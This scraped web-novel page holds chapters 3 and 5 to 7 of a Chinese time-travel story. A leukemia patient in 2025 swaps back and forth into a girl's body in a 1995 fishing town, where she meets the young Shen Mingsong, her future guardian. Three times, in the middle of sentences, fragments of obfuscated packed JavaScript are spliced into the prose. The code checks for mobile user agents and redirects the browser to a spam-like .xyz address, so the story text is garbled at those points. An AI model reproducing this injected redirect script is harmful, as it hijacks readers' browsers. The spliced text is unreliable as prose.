《年代大佬的比格青梅》 3. 第 3 章 几分钟后,宋尔雅双手紧贴着裤腿立正,身上缠了一圈圈绳子被绑在荔枝树上再不能到处跑。 她傻眼了。 看来宋瑶怕沈明松是有原因的,这人完全是疯狗,哪有把小孩绑起来的? 她有心大喊大叫,沈明松也大有一副她敢叫把她嘴也堵了 宋尔雅大眼睛瞪圆,从震惊生气转化为求饶:“哥哥我错了,给我松开好不好?” 少年冷血无情:“就这么待着。” 宋尔雅咬咬牙,发现自己还有颗牙齿松动了,还是乳牙,他绑的也不紧,是她身体力气太小挣脱不开。 她不说话了,实则心里都炸了,却只得这么立正罚站。 太阳渐渐升高,屋子内的人醒了一阵咳嗽后才推开窗户,露出一张温婉美人脸。 明珠瞧见院里场景后大吃一惊,呵斥道:“沈明松,你把妹妹绑起来做什么?!” 沈明松这才走过来给人解开绳子。 宋尔雅瞬间一个头槌撞过去,但是被他迅速闪开了。 她扑倒在地,把自己摔晕了。 痛!痛!痛! 等她再睁眼看清眼前场景后愣住了。 灰蒙蒙的清晨,私人病房静悄悄地。 这里是2025年,她做完骨穿侧躺在病床上。 溢进鼻腔里的是挥之不去的消毒水味道,宋尔雅呼吸不是很顺畅,身体也异常沉重,甚至坐不起身子来。 她侧着睡在层流床上,外边是一道透明的帘子,防止真菌粒子进来,床边开着光照范围很小的暖色调壁灯,不刺眼。 室内安静得能听见器械转动的轻微声响,不远处沙发上坐了个人影,模模糊糊,轮廓很深。 人影察觉她醒了靠近过来,隔着帘子倦怠地问:“还难受吗?” 宋尔雅不确定揉揉眼睛,映入眼帘的确实是沈明松属于成年男子轮廓分明的脸。 她穿越了,然后又穿过来了? 由于她的眼神过于惊慌,沈明松抬手按下了墙上呼叫铃,他蹲下来一种似下跪的姿势,满脸凝重地察看她的状态:“怎么了尔尔,为什么这样看人?” “叔叔?” 沈明松下巴长出青灰色胡茬,眉心成川,他面部线条崩得很硬:“叔叔在这。” 宋尔雅陷在一场混乱中,她挣扎着要坐起来,沈明松按住了她肩膀没给她乱动, 医生很快就推门就来了,认真给她检查。 “烧已经退了,情况很稳定,尽量避免和病人过多接触吧。” 医生又说了些注意事项后,等挂瓶最后一点药物输完,给她取了针才走。 这个过程宋尔雅已经冷静下来了,有些迷茫地躺在床上,目光放空。 沈明松将床帘放好,她手又抽出来抓出他手臂:“叔叔,我做了一个奇怪的梦。” 纤细的手指连抓他衣服的力气都没有,沈明松把她手放回床上,隔着帘子问:“什么梦?” 宋尔雅犹豫再犹豫,一面认为自己不该莽撞的什么都说,一面觉得和沈明松没什么关系,他会相信自己的,哪怕她说天上有牛在飞,他也会抬头看一下。 她稍微组织一下语言,吞吞吐吐道:“我梦见我变成了一个叫宋瑶的人,我妈妈是我姐姐,好奇怪。” 踌躇着,她又问:“明松叔叔,你认识宋瑶吗?” 沈明松看这她足足沉默快一分钟。 那一分钟里,他神色有很多变化,飞快地闪过惊疑,似乎连呼吸都停顿了,后才慢慢缓和下来,低哑的声线中带了一丝颤音:“宋瑶?” 宋尔雅用力点头:“嗯,是叫这个名字。” 沈明松垂着眼,浓黑睫毛下是更深的瞳孔,所有情绪都糊成被水墨染坏的纸张,他轻描淡写地说:“是你母亲妹妹。” 宋尔雅从来没听母亲提起过有这个人。 沈明松似乎知道她的想法:“她很小就去世了,那时你妈妈很难过,自责没有看顾好她。” “宋瑶怎么去世的?” 沈明松说:“1995年7月17,十四岁,掉海淹死了。” 宋尔雅咬咬下唇,看来都是真的,她没有做梦,是真穿越了。 可怎么那么快又给穿回来了? “还有呢,尔尔还梦见了什么?”沈明松欠身,一张脸离得近了些。 宋尔雅隔着透明帘子都看到了他这两天没能好好睡过觉熬出来的疲倦,明显的留在了他眼下。 灯光朦朦中,他的眼神不对,似天色将黑未黑时弥漫起的大雾,雾在慢慢朝她靠近。 宋尔雅说不出哪里不对,轻轻眨了一下眼睛:“我还梦见了妈妈,她变得好年轻,还有小时候的叔叔,那时你好凶呀。” 沈明松一愣,随后笑了一下:“有多凶?” 宋尔雅很少见他会这般笑,说了他在梦中的恶行。 正常人都只会当她做梦,沈明松听完后,眼含深意:“是我不好,叔叔和你道歉。” 真不真,他都当真。 宋尔雅想起那个少年,“叔叔你年轻是什么样的?” 沈明松:“脾气不太好。” 实际上,他现在的也没多好,只是人年纪到了,懂得收敛。 宋尔雅和他生活多年,感受到的都是他的温柔与宠溺,在他面前,她总是忍不住想要撒娇,“叔叔是好的人。” 沈明松微微笑了:“尔尔还能梦见什么?” “没有了。”宋尔雅记起那个落空的头槌,脑袋瓜子都幻痛,再一次怀疑那个少年真的是沈明松吗? 和她聊了一会沈明松倦意似乎比之前散了一些,说时间还很早,让她再睡一会儿。 宋尔雅困意浓重,也叫他去睡觉去,不要守着自己,她身体已经不难受了。 其实还是痛的,她有些想让他哄一哄,抱一抱,后一想她是个成年人了,不能总做出小孩样。 宋尔雅瞅了瞅他:“叔叔明天还回来看我吗?” 沈明松:“我尽量每天都来。” 宋尔雅这才闭眼。 也没多久她就熟睡了,沈明松盯着她的脑袋,她好不容易长回来的头发因为需要治疗,又给剃掉了,头型圆圆的,苍白肤色下可看见青色细小的血管。 她睡相很文静,一动不动的,总让人想探鼻子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510430|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈明松在床边站了一会儿,夜色中看不太真切他神色。 夏天天亮得较快,宋尔雅应该没入睡多久,又醒了一次。 病房已经没人了。 她艰难地下了床,才走一步后腰就传来刺疼。她在穿越之前做了骨穿,走几步都困难。 她走到洗手间,这就么一小段距离够她疼得脸色惨白,她看着镜子中自己一副脑袋秃秃的模样,重重叹气。 才刚洗漱出来,王阿姨也推开了病房,看到她哎了一声:“尔尔,怎么下床了,碰到伤口可怎么办。” 宋尔雅没看见沈明松,嘴角下垂:“叔叔呢?” “阿姨哪里能知道先生行程。”王阿姨扶着她坐到客厅,把桌面小高压锅打开一一摆放早餐,哄道,“尔尔先吃早餐好不好?” 完全是哄小孩的口吻,她在沈家一直被当成小孩,就连早餐里的糕点还特意做成小猪形状的。 王阿姨是家里的保姆,从她十七岁住进沈家后就开始照顾她了。 宋尔雅没胃口不吃,捧着手机玩,这才发现好朋友段西瑞前给她发信息了。 高考结束才没多久,他问她究竟是要去上清华还是上北大。 宋尔雅回复:“上吊。” 段西瑞过了一会才回一个问号:“怎么了,没考好?” 宋尔雅默默叹了一口气。 人啊,生来就是被命运戏耍和折磨的。 十六岁的时她被诊断为白血病无奈休学住院,与病魔抗战两年多终于胜利,重新回归到正常生活。 她重新拿起课本埋头苦读,二十一岁才参加了今年高考,满心憧憬着大学以后的生活时,她发了一场低烧。 起初她没放心上,以为吃点感冒药就好了,结果家庭医生却慎重要求她去医院做一番检查。 他还通知了远在国外的沈明松,他连夜回国便接到恶耗,她的病复发了。 宋尔雅又被安排进医院蹲着,和坐牢没区别。 王阿姨继续催促她吃早饭。 宋尔雅问:“奶奶还好吗?” 她嘴里的奶奶,是沈明松的母亲明珠。 “好,奶奶每天吃完早饭还能出门溜达溜达。”王阿姨把手中视频给她看。 头发花白的老太太坐在轮椅上,腿以下的部位都没有了,因为老年痴呆了,保姆说东她说西。 宋尔雅想起穿越回来之前匆匆撇过一眼的温婉美人,心理难受起来。 原来明奶奶年轻那么漂亮。 吃完早饭后她回到床上,那儿也不能去,连病房们都出不了,她打了一会儿游戏就没趣了。 她又去看了一眼自己高考分数,考了整整706分呢,也不知还有机会上大学不。 她痛苦的闭上眼,恍惚听见有人在说话。 “怎么还不醒,不会磕到脑袋了吧?还是睡着了?” 宋尔雅还以为是王阿姨在说话,坐起来:“我没睡。” 结果眼前的是年轻的明珠和沈明松,她正坐屋子里的一把躺椅上,中午阳光灼灼,院外空气热腾腾的。 宋尔雅:“???” 又穿? 5. 第 5 章 灯泡亮起暖黄色的光,将屋子照得温馨,那海鱼都被摔得半死不活了,宋芳手脚利落地给蒸上了,用酱油调了些料汁淋上。 宋尔雅尝了一口,鱼肉鲜嫩滑口,酱油是附近小作坊晒出来的很香。 她这具身体胃口出奇的好,啥都想吃,可能是之前饿惨了。 宋国梁又瞎玩了一天回来,精力耗光就拼命往自己碗里夹肉。 “你怎么光吃肉,今天不是还有鱼吗?“宋芳拨开他筷子,防止全都进他肚子里了。 宋国梁哼了一声:”他家给的,我不吃。“ “为什么?” “寡妇家的东西,晦气!” 宋芳发火:“那就什么都别吃,滚!” 宋尔雅侧脸去看宋国梁,肥头大耳,一路胖到中年,因为赌博被人追债追得硬是瘦了下去。 听母亲说,宋国梁年轻时因为赌博还被人砍了三根手指,还坐过牢。 母亲离世后,他出现在沈明松面前露出谄媚样卑躬屈膝地要钱,不给他就抢走宋尔雅的监护权。 宋尔雅莫名想笑。 宋国梁是块滚刀肉,他又不怕被宋芳骂,可今天他居然说滚就滚,端着碗回屋去了。 宋芳给宋尔雅盛了一碗汤,宋尔雅默默把肉夹妈妈碗里去。 晚饭过后,宋尔雅继续和宋芳一起干家务,洗衣机她家里自然不可能有。 宋尔雅不忍看母亲一人忙碌,站在大盆上用脚踩洗衣服。 父母离婚时她也十一岁了,跟着母亲一起生活,宋芳工作很忙,她都是自己去上学的,放学回来还能去菜市场买菜回家做好饭,宋芳回来就能吃上晚饭。 她倒是没怎么手洗过衣服,粗粝的洗衣粉磨得她白嫩脚掌发红。 宋芳看见了问:“瑶瑶,怎么把你哥衣服丢出来了。” “我讨厌他,我才不帮他洗。” “怎么了,吵架了?” “我刚刚看见他躲房间里吃炸猪蹄,这么大。”宋尔雅用手比划出一个圆给宋芳看,“他不给我吃。” 宋芳往里屋推门进去,果然看见宋国梁手里拿着啃了一半的猪蹄,桌面牛皮纸袋里也还装着几个油滋滋的大肉饼。 宋芳知道他一向护食,还是要求道:“你给妹妹一个。” “不给。”宋国梁才不愿意,“奶奶给我一人的,又没说让你们吃。” 爷爷奶奶家生活条件还可以,极为舍得给孙子花钱。宋国梁三天两头就往爷爷奶奶家跑,能得不少好吃的和零花钱,吃得体型庞大。 而宋芳当初抱着宋瑶想去借点钱买奶粉,都被老两口拒绝了。 这个年代的重男轻女都渗进骨髓里了,哪怕延续到后世,也不缺少这种长辈。 看宋芳两手空空回来,宋尔雅委屈地撅起嘴巴:“姐姐,我也想吃。” 宋芳脸色难看:“下次姐姐给你买。” 想了一会儿,她忽然捡起丢出来的脏衣服往外面走,扔出了院外。 宋尔雅平静看着,她并不是馋那一口,她单纯讨厌宋国梁而已。 夜晚她和宋芳睡在一张床上。 月色如水,透过绿玻璃窗渗进来,她听见宋芳沉重的呼吸声在寂静的夜里隐忍。 宋尔雅从记事起就知道舅舅一直和宋芳要钱花,宋芳勤劳能干,也赚下不少家底,架不住舅舅总要钱。 父亲没少为了这个舅舅和母亲吵架,吵完之后父亲就拿宋尔雅撒气,成天阴着脸吓她。导致她最讨厌舅舅和父亲这两个人,后来父母离婚后她还偷偷开心了很久。 虽然父亲出轨跟别的女人跑了,但舅舅还是和狗屁药膏一样缠着她家,直到宋尔雅生病,舅舅才开始避她们如蛇蝎,他还在母亲伤心之际偷走了家里钱财去赌博了,以至于她生病期间没了金钱支撑,宋芳都快要卖房子了。 最后还是沈明松出面,不仅支付她高昂的医药费,还给她转去了更好的医院。 二十岁的母亲不明白弟弟为什么不愿分给她一个肉饼。 多年后母亲也依旧在难过,他们年少失怙,她长姐为母一个人拉扯弟弟长大,相依为命,不懂弟弟为什么那般无情。 宋尔雅猜想,可能是真正的宋瑶死亡了,所以宋芳更珍惜仅剩的弟弟,对他百般容忍。 宋尔雅从后背搂住她,贴在她耳边:“妈妈。” 宋芳赶紧抹掉眼泪,装作没事:“怎么又乱叫人?” 母亲经历过两段糟糕婚姻,和第二任丈夫时才生下宋尔雅的,她对唯一女儿百般溺爱,可她的苦难并没有因此结束。 宋芳在宋尔雅治疗那段日子里宋芳愁得头发花白,后面遇上一场病毒大爆发不幸感染,先宋尔雅一步离世。 她穿过来了是不是能改变母亲命运了? 宋尔雅不愿她重蹈覆辙,想改变母亲的命运也就意味着,阻止自己的出生,她的存在本身就是母亲的一种苦难。 她把今天明珠那儿得来大白兔奶糖剥开往宋芳嘴里塞。 穿到95年没有什么特别的,她对这个年代只有网络上浅薄的认知,连买哪张彩票会中奖都不知道,根本没有金手指可言。 可未知总是用来摸索的,在后世的说法是这个年代遍地是黄金,下海经商赚得盆满钵满,沈明松就是追随时代潮流成为后来的风云人物那一批人。 事情还长着,她得从长计议。 ~ 椰城天气放晴了,天空湛蓝与海水相融,轮船和海鸥从远处鸣叫,唤醒月牙湾的晴朗夏日。 宋尔雅四处溜达将周围的环境都摸了个遍。 上次穿回去好似闪电一样,就来那么一下,后面就没发生过了。 椰城是旅游城市,风景迷人,处处是景观,虽然在这个年代生活还比较贫困落后,但经济正随着改革慢慢被带动起来,宋尔雅已经看见好些外国有人背着旅游包在到处拍照。 她路上遇上江玲几个女孩子喊她去玩,结果去了才知道,他们是喊自己是一起来写暑假作业的。 因为穷,宋瑶上学比别人晚两年,十四岁了才小学毕业。 小学毕业是没有暑假作业,但宋芳借初一课本给她布置任务,希望她不要玩着玩着就忘了,省得上初中跟不上。 海岸边的日头不是一般毒辣,从中午开始就直照地面,只有皮糙肉厚的男孩子光着膀子就敢在阳光下追逐打闹 宋尔雅怕被晒脱皮,躲在落羽杉树下遮阴,江铃一群小伙伴一起围坐满几张小石桌。 "还写什么呀,直接抄答案的不就行了么?“ 陶冬冬是个耐不住性子的,她急着去玩就催了,她又不爱学习,小书包里拿出来的都是炒货。 她分了几个炒核桃给宋尔雅,瞧见她拿着小石头费力砸开,立即抢过去,手掌用力捏了捏,核桃四分五裂。 陶冬冬留着短头发,四肢修长健美,皮肤是漂亮的小麦色,宋尔雅起初还以为她是个帅气男孩子,后面又看见人家正在发育小胸脯。 宋尔雅接过核桃说谢谢姐姐。 江铃问她哪来的钱买炒货,她们的零花钱都少得可怜,顶多买根冰棒解解馋。 陶冬冬说她前几天赶海逮到不少虎虾,都卖出去了。 听到小孩子也能赚到钱,拖油瓶宋尔雅竖起了耳朵:“怎么卖?” 虽然海边什么都有,但小孩一般捡了带回家自己吃,拿出去卖容易被骗或者被人压价,都是交给大人卖了后被大人私吞,到头来还是一毛不赚。 陶冬冬:“去码头那边。” 宋尔雅眼睛亮晶晶的。 如果说穿越到九零年代有什么不好的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510432|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那就是贫穷,宋芳一个月工资才几百多,宋尔雅兜里更是一毛钱都拿不出来。 她身上的衣服都是捡宋国梁穿不下改过的,埋汰死了。 宋文雅冲陶冬冬双手合十,笑容明灿灿的就让人无法抗拒:“下次可以带带我吗?” 穿成小孩除了写作业什么都干不了,人太闲了就想找点事干。 陶冬冬说当然可以,“到时候找沈明松帮忙,他什么都可以卖出去的。” 宋尔雅并不意外,有人就是有赚钱天赋,未来沈明松在海都是赫赫有名的房地产大佬,谁来都要喊一声沈先生。 她被他养在身边也跟着鸡犬飞升,她混在富二代圈子中,那些人真当她是什么大小姐,指望通过她来在沈先生面前混个好印象。 江铃苦恼,吞吞吐吐的:“可是沈明松他……” 关于沈明松妈妈克夫流言被传得有鼻子有眼,沈明松也被当成不详,他家那场灾难太过于惨痛,几乎死去他大半亲人,沈家只剩他们母子和大伯一家。 陶冬冬不屑道:“沈小年那个混账说的你也信,我爸爸经常带他出海不也好好活这回来了呢。“ 陶叔是带队出海的渔民船长,同时也是沈明松师傅。 陶冬冬说话声音无意识大了点,传到了隔壁不远处挖沙子的沈小年耳朵里,他立即冲过来。 沈小年指着陶冬冬鼻子质问:“陶冬冬你说谁呢?“ 陶冬冬也是丝毫不畏惧:”就说你怎么了,你们全家都是王八蛋,欺负孤儿寡妇的坏蛋。” 她就很看不起沈小年爸爸,明明作为沈明松大伯,却把灾难源头归于他们母子身上,找来跳大神的给他们扣上一顶宅灾星帽子。 椰城有很多民俗,跳大神说话有一定份量。 世上愚昧者大多数,听风就是雨,在流言加持下,大部分部分居民若有若无地孤立起了母子。 更何况跟着沈明松父亲一起出海遇难的船员家属们。 沈家出事后沈大伯企图霸占他家家产不成,更是到处散播谣言。陶冬冬没少听她爸爸骂沈小年家,她有样学样。 小孩才管话脏不脏呢,你一句我一句地对骂,沈小年还叫来了和他玩得好的帮他,急了还用起了方言。 宋尔雅只能听半懂,猜测小朋友们骂得挺脏的,她自然站陶冬冬这边也学了几句脏话拱火,她是不怕事闹大的。 沈小年气得眼睛发红,不敢直接对比陶冬冬动手,眼睛扫过最瘦小宋尔雅,突然出手抓住了她胸前的辫子用力拉扯。 宋尔雅都没反应过来,差点疼哭了,她非常爱惜头发,沈小年扯得自己头皮都要撕下来了。 “死小孩!”宋尔雅用脚去踢沈小年,两人扭打在地上,她力气不敌被人按在地上吃了一把沙。 “沈小年你不要脸。” 陶冬冬大叫扑上来一把将沈小年推开,她个子不是白长的,手臂结实有力揍得沈小年龇牙咧嘴。 最后沈小年爬起来边哭边大喊大叫说要告诉他哥去,转身就跑去摇人了。 “你没事吧?”陶冬冬关切地拉她起来,吓懵的江铃也反应过来用手帕帮她脸上泥沙和泪水。 “我没事。”宋尔雅捂着脑壳,只是疼出生理泪水了,她总不能真像小孩那样嚎啕大哭。 橡皮筋被沈小年扯断头发都散开了,她顺了顺,一小把头发断落在掌心,那死小孩下手真黑,后悔没多踹他两脚。 “一会儿沈小年哥哥找来了怎么办。”江铃很担心。 “谁怕他呀。”陶冬冬撅着嘴巴,眼睛看向远处海面上靠近的捕鱼船,拉着宋尔雅的手就走,“那是我爸爸的船,我们到那边去。” 他们找大人去,陶冬冬爸爸是渔民领队船长,大部分人都靠租她家渔船讨生活,她就不信沈小年和他哥哥敢过来。 6. 第 6 章 下午,落日坠在山头,出海捕鱼的船队朝陆地缓缓归来。 沈明松坐在船头上,看着船身冲破广袤无垠的海水引起阵阵浪花,发动机的声音在耳边作响,远远看见有身影在岸边高高挥着双手。 白天出海虽视野开阔,较为安全,但需要顶着全天烈日,暴晒过后整个人都体温偏高,沈明松嘴唇干裂,仰头大口喝干水壶最后一小半水。 从渔船换成小船抵达岸边,他也看清了边上的人。 陶叔一上岸就被陶冬冬扑了过来,他将把手里火红色的漂亮珊瑚给她,是他在海里捞到的,特意带回来给偶尔玩。 隔壁家妹妹在边上眼巴巴地看着,她松了一边辫子,头发散在一边,脸上沾泥土。 可怜模样。 落日光辉被人身影遮去大半,宋尔雅小小一个被笼罩在影子中,抬头看挡到自己面前沈明松,她闻到了咸咸的海水鱼腥味。 还有淡淡的血腥味。 沈明松这个年纪放到未来,受伤了家长都宝贝得不行,而他却和宋芳一样年少当家,家庭重担都压在尚未长全的瘦弱肩背上。 草帽下的阴影遮住他大半张脸,只看到脖颈出冒着大颗大颗的汗珠,皮肤是暴晒过后的脱水状态。 陶冬冬和陶叔告状,沈明松听了个大概,垂眼看她,小姑娘那细密睫毛还湿漉漉的。 打架还被打哭了,没出息。 宋尔雅不知他在想什,目光停留在在他手臂,率先开口:“哥哥,你手臂在流血了。” 沈明松抬手查看,先前收渔网没注意被擦伤了,破了些皮,他不在意抹去了血迹。 “沈小年那个兔崽子。”陶叔走过来,他身材高大,皮肤是被海风蹂躏过后的干巴黝黑,看见宋尔雅的小模样就收起了脏话,改露出一个笑容,问她还疼不疼。 宋尔雅摇头。 小孩子家家吵闹不是什么大不了的事,也就没人放心上。陶叔让沈明松带小姑娘一起回家,天色暗了小孩子不准在海边乱跑。 几个人最后居然都没能去玩,白写了一天作业。 江铃不敢跟过来,她宁愿自己回去,宋尔雅是没什么好怕的,她跑到树下背上自己小书包,又屁颠屁颠地追上来。 “哥哥你等等我。”她追了上去努力跟上沈明松步伐,他一步抵她三步,她下意识地伸手去抓他衣角。 沈明松停了一下,又继续迈开步伐。 隔壁家妹妹最近话很多,一路上叽叽哇哇的。 “你不去医院吗……嗯,去诊所?“宋尔雅知道潮汐路附近就有一家。 “你不疼?” “你手臂真的还在流血呢?” 几乎没有人能在沈明松耳边这么吵,声音脆脆的,如清晨出海听见的鸟鸣。 她又走得缓慢,沈明松想把人丢半道算了,好快点结束这场聒噪。 从这里走回家还需要经过一片小树林,灌木草中凸起好几个坟包,风一吹树叶发出鬼嚎一般的声响,小姑娘丢这里指定得吓哭。 沈明松大步流星,走了一会儿察觉不对劲,一回头人真不见了。 天色渐晚,若是走丢了很麻烦,沈明松担不起这个责任返回去找,走了好十几米才看到路边高高的杂草堆在晃动。 “做什么?”沈明松走过去看草里动来动去的小身影,如果是个男的他一定踹她屁-股。 宋尔雅从草堆里钻出来,头发上粘了几片叶子,手里摘了一把叶面皱巴巴的野草,“给。” 看他不解的神情又宋尔雅指指他还在冒着血珠的手臂。 记忆里这种野草有止血功能,这时的人都糙,要么用蜘蛛丝混着草木灰糊伤口止血,要么就用这种野草,宋尔雅觉得还是野草看起来比较靠谱。 她看沈明松不动,又怀疑是不是自己采错了。 沈明松微微一动,上挑的丹凤眼划过些许惊讶,他拿过野草扔了:“没那么娇气。” 宋尔雅将野草捡回来用力搓揉,直至绿色的汁水揉出来弄绿糊糊的,不由分说地糊上了他手臂上的伤口。 沈明松抿了抿嘴,罕见的感到一丝迷惑。 一个小伤口而已,用不了多久就凝固了,他受过更严重的多了去了。 他不懂这小孩的举动。 健康的身体永远是宋尔雅不可求的奢望,她小灾小病都慌得要命。 明松叔叔给寺庙捐了很多钱,求的是她身体健康,长命百岁。 宋尔雅拍拍手上的残渣:“好了,我们回家吧。” ~ 宋尔雅从来没这么穷过,以至于梦中下起钞票雨她扛蛇皮袋捡得起飞,一个翻身从床上掉下来去。 “嘶。” 窗外月亮很亮堂,她揉揉摔疼的屁-股彻底梦醒,摸来手电筒打开去照红方盒子时钟,指针指到五点多。 快到了她和陶冬冬约好的时间。 她摸黑洗漱出门后,陶冬冬已经在家门口等她有一会了,两人密谋要干一场大事。 宋尔雅玩心比赚钱要大,她还从未体验过赶海呢。 宋尔雅趁着宋芳还没醒溜出去的,陶冬冬也是瞒着家里出来,江铃家里不给去,她们就两人一起了,商量赶海的收获一人一半。 宋尔雅觉得这样陶冬冬肯定吃亏,她怎么可能比得上真正土生土长的海边人。 陶冬冬性格爽朗并不在乎,说:“没什么,还不知道能不能找到好东西呢,先干了再说。” 等她们去到海边,看见沈明松坐在渔民用来休息临时搭建的小屋边,用木架子挂起一张巨大的网,他清理着上面被缠住的小鱼。 “我爸呢?”陶冬冬问。 “把货运码头去了。”沈明松昨晚跟着陶叔出海去抓鱿鱼,今早回来,一夜劳作令他神思倦怠,声音懒洋洋,“你又偷跑出来,还带人。” 听到她爸不在陶冬冬松了一口气,跑进简陋小屋中找出水桶,耙子,小铲子这些工具,和沈明松说了两人的打算。 “就你还想赚钱?”沈明松目光落到稚嫩的身躯,她像是娇生贵养的,哪里能吃苦头,他的嫌弃显露于表,“别被海水冲走了。” 陶冬冬水猴子一样能跑能跳能游,她能干什么? “你别以貌取人。”宋尔雅嘀咕道,心里虽然没底,但士气上可不能输。 这时天色也才蒙蒙亮,空气都浸泡在水里一样潮湿,港口停着几艘大渔船,周围大人早早就忙碌起来,也有不少和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510433|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们一样来赶海的小孩,想着暑假赚点零花钱或上学费用。 渔民的孩子几乎早早当家,这时大多人的生活还没能到衣食无忧的水平,这令他们本该还在母亲怀中撒娇的年纪就学会了为生计奔波。 边上有大人看见有小孩往太危险区域过去的话会大声呵斥地赶走,宋尔雅和陶冬冬一个拿一个桶分头行动,她观察着周围,没人骂她那就是还在安全区域。 她以前也看过赶海博主视频,几步就能逮着一个大货。 她穿着拖鞋来的,双脚陷入湿沙中,走路费劲,暴露在明面上的水产基本被来得更早的别人捡走了,藏起来的她找不到。 陶冬冬教她分辨藏了东西的洞口和小沙包,而她只摸到了海螺花甲这些小玩意。 果然那些博主骗人的,怎么可能随随便便就能抓住呢? “宋瑶,看!” 陶冬冬抓住一只大虾在大老远地冲她招手炫耀。 好吧……菜就得多练。 该死的好胜心驱使着宋尔雅往资源更丰富的礁石滩上走,后背跟随着一道视线。 沈明松偶尔看一眼她有没有往深水区走。 太阳渐渐初升浮在海面,晨光和雾朦胧在她身上,小姑娘兴奋地连蹦带跳捡起海水冲上来的大鱼后,下一秒又沮丧得眉眼耷拉,一把将手中死鱼扔远了。 忙活半天,水桶里还是贫瘠的。 果然是个小笨蛋。 沈明松走过去扫视她桶里少得可怜的东西,发出一声轻笑。 宋尔雅耳尖听见了瞪大眼睛,她被嘲笑了。 “一点都不好玩,什么东西都没有。”她弯腰用海水洗去手上的死鱼味。 沈明松蹲下挑了一块礁石掀开,一只巴掌大的小海龟暴露出来。 “是乌龟!”宋尔雅一喜,终于见到了贝类以外的家伙,生怕它跑了脑子一莽上手就抓。 那海龟也不怕人,长长的脖子扭回来就给她来了一口,疼得她一个激灵连忙甩手乱挥。 看似人畜无害的生物,咬合力惊人,细小的牙齿咬进肉里面,这海龟比沈小年攻击力还强。 宋尔雅痛得要命,喉咙里压抑不住发出哭腔:“哎呦好痛好痛!!!” “蠢东西。”沈明松简直被她蠢到了,皱眉对上泪眼朦胧的双眼,小姑娘撅着嘴哭,眉心蹙在一起可怜死了,他收住了冷嘲热讽。 “别刺激它了。” 他抓着宋尔雅的手放进海水里,小海龟浮在水面感受到安全后才松了口,划动着短小四肢欢快地游走了。 宋尔雅手指留着一个红色咬痕,好在没破皮出血,她一边吸气一边掉泪。 沈明松独生子一个,没接触过小妹妹眼泪,冷冷吐出三个字:“不许哭。” 宋尔雅收住了哭声,揉揉手后指着空荡荡的礁石底下给他看:“我的乌龟跑掉啦!” “再抓就是了。” 宋尔雅颤了颤睫毛,几颗残留的泪珠滚滚落下,如果是明松叔叔在,她才不会被乌龟咬。 她理直气壮:“哥哥帮我抓。” 沈明松黑眸印出小姑娘眼眶微红的模样,第一次有女孩这么和他撒娇。 没用而脸皮厚的娇气包。 7. 第 7 章 七月是海洋丰收的季节,礁石上长满海蛎,这些弄起来不仅麻烦还容易划伤手,穿着拖鞋来简直是灾难。 沈明松回简陋小屋里找了双小一点的胶鞋给她,虽还是不合脚,也勉强能穿。 宋尔雅小小的人,厚厚的脸皮,她是顺着杆子往上爬的人,提着水桶跟着他走。 沈明松拿着钳子,她还没看见他就已经夹起一只螃蟹扔桶里。 宋尔雅起到一个提桶作用。 最后他们来到一片泥沙地,肉眼看到些搁浅的鱼虾。宋尔雅总算有用武之地,手脚麻利的捡进桶里,连汗都没空擦。 陶冬冬过来看到后哈哈大笑:“你怎么像阿黄一样。” 阿黄是条狗。 宋尔雅这才发现自己已满身泥巴,整个身体都快爬地面上了,确实一副小狗样,她玩得起劲,还挖到了好几窝小章鱼,都快把小桶装满了。 陶冬冬出乎意料:“都是你抓的。” 宋尔雅背对着她用海水洗掉身上沙子:“当然!” 她不敢去看沈明松。 陶冬冬夸她厉害,这些一定能赚到不少钱,虽然有夸大其词的成分在。但对于小孩子来说赚个一块两块的也是一大笔零花钱了。 他们回到简陋小屋用水搓去裤脚上的泥巴,宋尔雅连上衣领子都沾到了,她一定得在宋芳下班回来捯饬干净。 别看宋芳一旦发起火来能把她屁-股揍烂。 沈明松有一辆脚蹬的三轮车,他可以用这个把水产运到码头那边。 宋尔雅想在后面帮他推一推,他回头扫了一眼,不知抽什么风忽地加快速度把三轮蹬远了。 宋尔雅:“?” 陶冬冬拉住她:“别追着去了,码头人又多又乱,小心走丢了。” 两人决定打道回府。 半道上沈路桦几人鬼一样地杀出来:“陶冬冬!” 他是沈小年的哥哥,带着他几人挡住两人去路,仔细一看人群中居然还有宋国梁的身影。 沈路桦个子得有一米七多,已是成年人体型,他表情凶恶吓人:“就是你欺负我家老幺吧?” 几个正是叛逆好斗年纪的男生凑一起玩准憋不出一个好屁,他们早在这一片孩子中称王称霸。 陶冬冬看这架势也不免紧张地握住宋尔雅的手,嗓门还是强硬的:“我没欺负!” 明明是沈小年先动手的。 “还嘴硬。”沈路桦可不会听她辩解,挥挥拳头吓唬她们,“你还骂了我们家人。” 